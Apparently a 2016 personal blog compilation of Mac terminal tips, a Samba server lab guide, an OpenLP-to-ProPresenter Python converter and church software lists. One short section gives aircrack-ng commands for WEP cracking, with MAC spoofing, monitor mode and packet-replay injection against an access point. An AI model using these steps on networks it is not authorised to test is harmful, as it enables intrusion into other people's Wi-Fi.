Friday, 2 December 2016

Useful Macintosh Commands


How to reset forgotten mac password on mac
Simply restart your macbook then
Hold down  Command and R
type in: resetpassword



If you are logged in on mac and want to change your password via terminal
simply open up terminal

then run passwd
then enter your new password





Troubleshoot Mac network issues
If you want to run graphically just find network utility or you may execute commands via terminal
note: after executing commands TO EXIT
simply hit CONTROL Z on your macbook keyboard

Following commands that I use

traceroute - http://www.inmotionhosting.com/support/website/how-to/read-traceroute



whois

ping



127.0.0.1 this simply refers to local host
anything being redirected to this localhost will not have internet connection

in macbook

sudo nano /etc/hosts

sudo dscacheutil -flushcache  this command flushes DNS CACHE


control + o means save




Video tutorials
https://youtu.be/AimCNTzDlVo

All computer Networking troubleshooting
http://goo.gl/WXNhTr



Thursday, 1 December 2016

Imaging and Deploying Macintosh Computers

WHAT YOU NEED TO HAVE

One computer to be set up as MASTER
One Computer to be setup as SLAVE

YOU CAN DEPLOY TO YOUR MASTER BUT PREFERABLY but just have a computer setup as DEPLOYMENT TARGET



AN EXTERNAL HARD DRIVE (use  bus powered)

DHCP available on your network or your server

note: YOUR INTERNET CONNECTION SHOULD BE FAST ENOUGH

A SMALL GIGABIT SWITCH

A GIGABIT CONNECTION

SAMBA SERVER SETUP

found somewhere on the internet


THIS IS ALSO APPLICABLE ON HOW TO CONFIGURE SAMBA SERVER ON YOUR RASPBERRY PI
TO ACCESS YOUR WINDOWS AND WATCH MOVIES OR ANY MULTIMEDIA STORED IN YOUR SERVER

On centos2, install samba
sudo yum -y install samba samba-client

Backup the file Samba config file located at /etc/samba/smb.conf, and create a new one containing only the following contents (replacing the information as required):
[global]
workgroup = <yourlearnid>.org
server string = "put your real name here without the quotes"
encrypt passwords = yes
smb passwd file = /etc/samba/smbpasswd
hosts allow = 10.40.80. <first three octets of network address followed by period e.g. "192.168.6.">
; note: the above line will allow access from the Seneca domain in lab T2107
  
[home]
comment = "put your real name here without the quotes"
path = /home/<learnid>
valid users = <learnid>
; remember <learnid> is your learnid account name
public = no
writable = yes
printable = no
create mask = 0765
Create a Samba password for your user, by issuing the following command.
sudo smbpasswd -a <learnid>
You can change a user's password if you require by issuing this command (not required).
sudo smbpasswd <username>
Confirm your user's been properly added by issuing the following command:
sudo pdbedit -L -v
Test and review your configuration with the command
sudo testparm
You can now start your Samba server, and enable it to start on boot.
sudo systemctl start smb
sudo systemctl enable smb
Test to see if you have a connection to the samba server.  This command will show you a list of all available shares.
smbclient -U <learnid> -L centos2

Connecting to a Linux SMB Server from a Linux Client

There are many ways that a Linux client can connect to an SMB server.  You can use smbclient, the mount command, a web browser or even graphically through Nautilus.  This next part of the lab will guide you through the steps for each option.
Using SMB Client
You should not have to install samba-client as it should already be present, but if it is not do so.  From centos1, use the smbclient command in a terminal window to connect to your Samba Server.
smbclient '\\centos2\home' -U <learnid>
After entering your password you should see a prompt simliar to the following.
smb: \>
Enter the ls command to see a list of files in your home directory. You may recieve the following error.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
This error is caused by SELinux.  If you've disabled it, you won't see this error.  In order to fix this we need to configure SELinux to allow samba access to home directories.  Issue the following command:
sudo setsebool -P samba_enable_home_dirs 1
Issue the ls command again to confirm the changes have taken effect.  You should see a directory listing.  When you do, close the connection and we'll move on to the next method.
Using 'mount -t cifs'
Install the tools for mounting samba using the mount command.
      yum -y install cifs-utils
The next method we're going to explore to access files on our Samba server is using the mount command.  On centos1, issue the following commands to mount your home directory from centos2.
mkdir /tmp/centos2-home
mount -t cifs //centos2/home /tmp/centos2-home -o username=<learnid>
ls /tmp/centos2-home
Using Nautilus to browse Samba shares
Start a graphical interface on centos1.
Use the "Applications" menu from the desktop and open 'File Browser' under 'System Tools'.
From the menu in the side-bar of the file tool, choose 'Connect to Server...'.
Select 'Custom Location' and enter 'smb://centos2/home' as the location, click 'Connect' and enter your samba password in the prompt.
Where centos2 is the name of the server, and home is the name of the directory it is sharing.
After you have checked that you can access your files, unmount the share by right-clicking its icon in the side-bar and clicking 'Unmount'.
Using a Web Browser to view Samba shares
You can also use a web browser with support for the SMB protocol such as Konqueror.
Note that firefox does not have such support.
If Konqueror is not installed then install it with the command:
sudo yum -y install kdebase
Start Konqueror and enter the following into the address bar
smb://centos2/home
Enter your user name and password when prompted.  When you're done viewing files, close Konquror.
Connecting to a Linux SMB Server from a Windows Client (Windows 7) **** Reference Only, do not perform this part ****
For this next step I've provided you a pre-configured Windows 7 virtual machine.  Download it, copy both files to your backup directory and issue ./vs -r -o win7
The process will take a few minutes, the username and password are ops335/ops335.  When it's been restored, start it up and log in.
Open up Explorer, right click on Computer > Map network drive.. > Select a Drive Letter and '\\<ip-address-of-centos2>\home
You should be prompted for your username and password.  You can now use the browser to drag and drop files to and from the Windows machine.

EXPORT SHARES INFO FROM DOMAIN



http://www.systemtools.com/free.htm

THE TOOL IS CALLED EXPORTER

Capturing Slow Wep Packets


Shell number 1 :  ifconfig wlan0 down macchanger -m 00:11:22:33:44:55 wlan0 ifconfig wlan0 up airmon-ng start wlan0 airodump-ng -c -b -w wlan0   


Shell number 2 : aireplay-ng -1 0 -a wlan0 aireplay-ng -1 0 -a mon0   

Shell number 3 : aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -a -x 200 mon0  aireplay will start reading packets for -p 0841 attack and it will ask you wold you like to use this packet (y/n) : Don't enter anything , leave it like that , 


then go back to shell number 2 , and do : aireplay-ng -1 0 -a mon0 aireplay-ng -1 6666 -a wlan0 

  then go back to shell number 3 and enter y :)  I supose that you are not a begginer in WIFI but anyway : wlan0 - managed interface mon0 - monitor interface Change interfaces to those that you have. -c -- channel of AP -w -- output file -a -- BSSID of AP [ MAC address ] -b -- same as -a -x -- number of packets , can change it as you like , for me 200 is optimal :)  So try it

How Transfer openlp song database to Propresenter


DOWNLOAD

CREDITS TO OMNIVISION FOR MAKING THIS POSSIBLE

#!/usr/bin/python
# -*- coding: utf-8 -*-

#############################################################################
#                                                                           #
#                      OpenLP to ProPresentor Converter                     #
#                    (C) 2012 Daniel Fairhead, OMNIvision                   #
#                                                                           #
#---------------------------------------------------------------------------#
#                                                                           #
# This program is free to use, change, edit, do what you want with.         #
# Please consider a donation to OMNIvision if you find it useful. :-)       #
#                                                                           #
# http://www.omnivision.om.org/                                             #
#                                                                           #
# OMNIvision is the media & events team of Operation Mobilisation (OM)      #
#                                                                           #
# http://www.om.org/                                                        #
#                                                                           #
#############################################################################

# Configuration Options:

OPENLP_DATABASE = "~/Library/Application Support/openlp/Data/songs/songs.sqlite"
OUTPUT_DIRECTORY = "/tmp/"

DEFAULT_FONT = "Helvetica"
DEFAULT_COLOR = ('255', '255', '255')  # RGB, white.
BACKGROUND_COLOR = '0 0 0 1'     # RGBA black.

MAX_LINES = 4

OPEN_DIR_ON_EXIT = True  # If you want to open the dir of new files...

# Options you probably don't need to edit, but can easily enough:

VERSE_COLORS = ['0 0 1 1',    # 0 = Blue
                '0 1 0 1',    # 1 = Green
                '1 0.5 0 1',  # 2 = Orange
                '1 0 1 1',    # 3 = Purple
                '0 1 1 1',    # 4 = Yellow
                '0.5 1 0 1',  # ...
                '1 1 0.5 1',
                '0 0 1 1',
                '0 1 0 1',
                '1 0.5 0 1',
                '1 0 1 1',
                '0 1 1 1',
                '0.5 1 0 1',
                '1 1 0.5 1']

CHORUS_COLOR = '1 0 0 1'

VERBOSE_NAMES = {'c': 'Chorus',
                 'v': 'Verse',
                 'b': 'Bridge',
                 'e': 'Ending',
                 'p': 'Pre-Chorus'}

# Cramming everything into this one file as opposed to separating it out
# into modules may be rather messy and bad practice.  I do apologise.
# My intention is to have this as a stand alone python script, to make
# it as easy as possible to distribute.

import sqlite3 as sql            # To import from OpenLP
import os                        # File loading stuff.
import sys                       # For UTF-8 settings.
reload(sys)                      # Stupid hack to re-apply UTF-8 if it
                                 #    wasn't loaded originally.
sys.setdefaultencoding('utf-8')  #    Oh for Py3k everywhere.

import re                        # For regexy stuff.
import xml.parsers.expat         # For Parsing OpenLP Lyrics Data

from base64 import b64encode     # For ProPresenter RTF Data blobs
from uuid import uuid1           # For ProPresenter Slide UUIDs
from datetime import datetime    # Guess.

# Apparently it's faster / better to compile regex:

__re_uni_x = re.compile(r'\\x..')      # Unicode \x form
__re_uni_u = re.compile(r'\\u....')    # Unicode \u form
__re_year = re.compile(r'^\d\d\d\d')   # Year from Copyright String
__re_xml_attr = re.compile('[<>\n"]')  # Stuff to strip from XML attributes

###################################################
#
# Short generic(ish) useful functions:
#
###################################################


def xml_attr(text):
    return (re.sub(__re_xml_attr,
            ' ',
            text.replace('&', '&amp;').replace('"', '&quot;')) if text != None else '')


def make_uuid():
    return uuid1().__str__().upper()


def Verbose_names(key):
    # Could use a collections.defaultdict, but I can't be bothered right now.
    if key in VERBOSE_NAMES:
        return VERBOSE_NAMES[key]
    else:
        return key


# Stupid BLASTED RTF.  This took me a *very* long time to figure out,
# and I'm not sure it's in any way anything like bullet proof now anyway.
# At least it works for our database, currently.
# I *never* want to work with RTF again.



def AntiUnicode(text):

    def escape_u(t):
        """ turns a '\u####' type hexadecimal unicode escape char into
            it's RTF '\uxxxx' decimal.
            For use in a re.sub function as the callback. """
        return r'\u' + unicode(int(t.group()[2:], 16)) + ' '

    return re.sub(__re_uni_x,   escape_u,
               re.sub(__re_uni_u, escape_u,
                   text.encode('unicode-escape')))\
           .replace(r'\n','\\\n')


def MakeRTFBlob(text):
    return b64encode(
             '{\\rtf1\\ansi\\ansicpg1252\\cocoartf1038\\cocoasubrtf360\n{\\fonttbl\\f0\\fswiss\\fcharset0 '+DEFAULT_FONT+';}\n'
           + '{\\colortbl;\\red'+DEFAULT_COLOR[0]+'\\green'+DEFAULT_COLOR[1]+'\\blue'+DEFAULT_COLOR[2]+';}\n'
           + '\\pard\\tx560\\tx1120\\tx1680\\tx2240\\tx2800\\tx3360\\tx3920\\tx4480\\tx5040\\tx5600\\tx6160\\tx6720\\qc\\pardirnatural\n\n'
           + '\\f0\\fs102\\fsmilli51200 \\cf1 \\expnd0\\expndtw0\\kerning0\n\\outl0\\strokewidth-20 \\strokec0 \\uc0 ' + AntiUnicode(text) + '}')


########################
#
# XML sections. (To be written to ProPresenter files)
#
########################

# This is messy, and there is no way to help it,
# besides having a separate template file.


def VerseBlock(block_name, block_type, text_sections, color='0 0 0 0'):

    def list_split_substrings_by_lines(max_lines, oldlist):
        # Very imperative, I know.  There's probably a better
        # (functional/pythonic) way to do this...
        new_list = []
        for raw_item in oldlist:
            x = 1
            new_item = ''
            for line in raw_item.splitlines():
                if x < max_lines:
                    new_item += line + '\n'
                    x += 1
                else:
                    new_item += line
                    new_list.append(new_item)
                    new_item = ''
                    x = 1
            if new_item != '':
                new_list.append(new_item)

        new_list.reverse()  # Not sure why reverse is needed...
        return new_list

    def list_split_substrings(split_by, oldlist):
        newlist = []
        for item in oldlist:
            newlist += item.split(split_by)
        return newlist

    all_sections = map(unicode.strip,
                       list_split_substrings_by_lines(MAX_LINES, 
                           list_split_substrings('\n\n',
                               list_split_substrings ('[---]',
                                   text_sections))))

    return ('<RVSlideGrouping name="' + block_name + '" uuid="' + make_uuid()
           + '" color="' + color + '" serialization-array-index="0"><slides containerClass="NSMutableArray">'
           + ''.join(map(SlideBlock, all_sections))
           + '</slides></RVSlideGrouping>')

def SlideBlock(text):
    return '<RVDisplaySlide backgroundColor="' + BACKGROUND_COLOR + '" enabled="1" highlightColor="0 0 0 0" hotKey="" label="" notes="" slideType="1" sort_index="0" UUID="' + make_uuid() + '" drawingBackgroundColor="0" chordChartPath="" serialization-array-index="0"><cues containerClass="NSMutableArray"></cues><displayElements containerClass="NSMutableArray"><RVTextElement displayDelay="0" displayName="Default" locked="0" persistent="0" typeID="0" fromTemplate="1" bezelRadius="0" drawingFill="0" drawingShadow="1" drawingStroke="0" fillColor="0 0 0 0" rotation="0" source="" adjustsHeightToFit="0" verticalAlignment="0" RTFData="' + MakeRTFBlob(text) + '" revealType="0" serialization-array-index="0"><_-RVRect3D-_position x="30" y="30" z="0" width="964" height="708"></_-RVRect3D-_position><_-D-_serializedShadow containerClass="NSMutableDictionary"><NSNumber serialization-native-value="4" serialization-dictionary-key="shadowBlurRadius"></NSNumber><NSColor serialization-native-value="0 0 0 1" serialization-dictionary-key="shadowColor"></NSColor><NSMutableString serialization-native-value="{2.82843, -2.82843}" serialization-dictionary-key="shadowOffset"></NSMutableString></_-D-_serializedShadow><stroke containerClass="NSMutableDictionary"><NSColor serialization-native-value="0 0 0 0" serialization-dictionary-key="RVShapeElementStrokeColorKey"></NSColor><NSNumber serialization-native-value="0" serialization-dictionary-key="RVShapeElementStrokeWidthKey"></NSNumber></stroke></RVTextElement></displayElements><_-RVProTransitionObject-_transitionObject transitionType="-1" transitionDuration="1" motionEnabled="0" motionDuration="20" motionSpeed="100"></_-RVProTransitionObject-_transitionObject></RVDisplaySlide>'



def HeaderBlock(Name='New Song',
                Authors='',
                Artist='',
                CCLICopyRightInfo='',
                CCLILicenceNumber='',
                Publisher='',
                Notes=''):

    return '<RVPresentationDocument height="768" width="1024" versionNumber="500" docType="0" creatorCode="1349676880" lastDateUsed="' + datetime.now().strftime('%Y-%m-%dT%H:%M:%S') + '" usedCount="0" category="Song" resourcesDirectory="" backgroundColor="0 0 0 1" drawingBackgroundColor="0" notes="' + Notes + '" artist="' + Artist + '" author="' + Authors + '" album="" CCLIDisplay="0" CCLIArtistCredits="" CCLISongTitle="' + Name + '" CCLIPublisher="' + Publisher + '" CCLICopyrightInfo="' + CCLICopyRightInfo + '" CCLILicenseNumber="' + CCLILicenceNumber + '" chordChartPath=""><timeline timeOffSet="0" selectedMediaTrackIndex="0" unitOfMeasure="60" duration="0" loop="0"><timeCues containerClass="NSMutableArray"></timeCues><mediaTracks containerClass="NSMutableArray"></mediaTracks></timeline><bibleReference containerClass="NSMutableDictionary"></bibleReference><_-RVProTransitionObject-_transitionObject transitionType="-1" transitionDuration="1" motionEnabled="0" motionDuration="20" motionSpeed="100"></_-RVProTransitionObject-_transitionObject><groups containerClass="NSMutableArray">'


#def FooterBlock():
FooterBlock = '</groups><arrangements containerClass="NSMutableArray"></arrangements></RVPresentationDocument>'



###########
#
# (OpenLP) Lyrics XML Parsing
#
###########

def ParseLyric(text):
    current_verses = []

    def _element(name, attrs):
        if name == 'verse':
            current_verses.append(attrs)
            current_verses[-1]['text'] = []

    def _chardata(data):
        current_verses[-1]['text'].append(data)
       
    parser = xml.parsers.expat.ParserCreate()
    parser.StartElementHandler = _element
    parser.CharacterDataHandler = _chardata
    parser.buffer_text = True

    parser.Parse(text,True)

    current_verses.reverse() #Not really sure why we need this...

    return current_verses

#######
#
# Database functions:
#
#######

def filterbyfield(id,table,field='id'):
    return [row for row in table if row[field] == id]


###################################################
#
# Actually do stuff:
#
###################################################


def main():
    # First load the data from the OpenLP database:

    try:
        con = None

        # Fetch all the data first. Gets it in memory to use, rather than
        # loads of SQLlite queries. This seems to be faster, with a little
        # profiling.  If re-writing it as loads of sqlite queries
        # works better for you, I'm cool with that too.

        print ("OpenLP to Pro-Presenter 5 converter.\n")
        print ("Loading Database:\n  "
                + os.path.expanduser(OPENLP_DATABASE) + "\n")

        con = sql.connect(os.path.expanduser(OPENLP_DATABASE))
        con.row_factory = sql.Row

        cur = con.cursor()
        cur.execute('SELECT id, title, ccli_number, song_number, copyright, comments, lyrics FROM songs')
        songs = cur.fetchall()
       
        cur.execute('SELECT id, display_name FROM authors')
        authors = dict()
        for author in cur.fetchall():
            authors[author['id']] = author['display_name']

        cur.execute('SELECT song_id, author_id FROM authors_songs')
        authors_songs = cur.fetchall()

        print ('  Cool.  ' + str(len(songs)) + ' songs loaded.\n' );

        # Database helper functions:
       
        def get_song_authornames(song_id):
            return ' &amp; '.join(
                [authors[id] for id in
                    [row['author_id'] for row in authors_songs
                        if row['song_id'] == song_id]])

    except:

        print ("Sorry - There was a problem loading the OpenLP Database.\n" +
              "(" + OPENLP_DATABASE + ")\n" +
              "Maybe OpenLP isn't set up on this user?\n\n" +
              "If you know where the database is, you can edit the path at \n" +
              "the top of this script and set it manually.")
        exit()


    # Now go through songs and output the files.

    print ("And writing the new files to\n  " + OUTPUT_DIRECTORY + "\n")

    for song in songs:

        song_authors = get_song_authornames(song['id'])

        # Find the copyright year (this would be briefer in perl...)

        get_year = re.match(__re_year, xml_attr(song['copyright']))

        if get_year != None:
            copyright_year = get_year.group()
            copyright = song['copyright'][4:].strip()
        else:
            copyright_year = ''
            copyright = ''


        # Prepare Header Block to write:

        to_write = ( HeaderBlock(Name          = xml_attr(song['title']),
                             CCLILicenceNumber = xml_attr(song['ccli_number']),
                             Notes             = xml_attr(song['comments']),
                             CCLICopyRightInfo = xml_attr(copyright_year),
                             Publisher         = xml_attr(copyright),
                             Authors           = xml_attr(song_authors)) )

        # Prepare Verses to write: (funny python syntax...)

        to_write += ''.join(
            [VerseBlock(Verbose_names(v['type']) + ' ' + v['label'],
                        v['type'],
                        v['text'],
                        color = CHORUS_COLOR if v['type'] == 'c'\
                                             else VERSE_COLORS[int(v['label'])])
            for v in ParseLyric(song['lyrics'])])

        try:
            # Now actually write the thing.
            f = open(OUTPUT_DIRECTORY + song['title'].replace('/','') + '.pro5','w')
            f.write ( to_write + FooterBlock )
            f.close()
        except:
            print ('Oh dear. Something went wrong with writing "' + song['title'] + '".\nSorry.\n\n' +
                   'Maybe it\'s a file-write permissions issue?\n' +
                   'You could try changing where this script is writing to, it\'s the line\n' +
                   '  OUTPUT_DIRECTORY="' + OUTPUT_DIRECTORY + '"\n' +
                   'that will need to be changed.' )

            try:
                f.close()
            except:
                pass

            exit();

    print ("Finished.")
    if OPEN_DIR_ON_EXIT:
        os.system('open "' + OUTPUT_DIRECTORY + '"')

if __name__ == "__main__":
    main()




OpenSource Church Softwares

1) doPDF: PDF Maker (to create PDF files from any software)
2) PDF xChange: PDF Reader (much faster than Adobe, more functions)
3) Audacity: MP3 Maker/Editor
4) WinAmp: MP3 Player
Open Source projection of lyrics
Openlp- is a free projection of lyrics
Propresenter- used for mac platforms (paid)
EasyWorship- used for pc platforms (paid)

Documentation
1 Libreoffice
2OpenOffice
3.Onsong used for displaying lyrics on ipads
4.Wondershare Pdf Editor- used for creating pdf files (paid)

Social Media
Adobe Spark Post- good for creating text on images
Word Swag- creates stunning images with customizable text

Apps for Musicians



ONSONG- an app for ios that allows you to store all your chord charts and songs

DROPBOX- share files easily with your team

Google Drive- allows for team collaborations

WHATS APP- I use this for group interactions and urgent group messages

Facebook Messenger- This allows you to create a group just like whats app, one of the great use of this is that you can do live video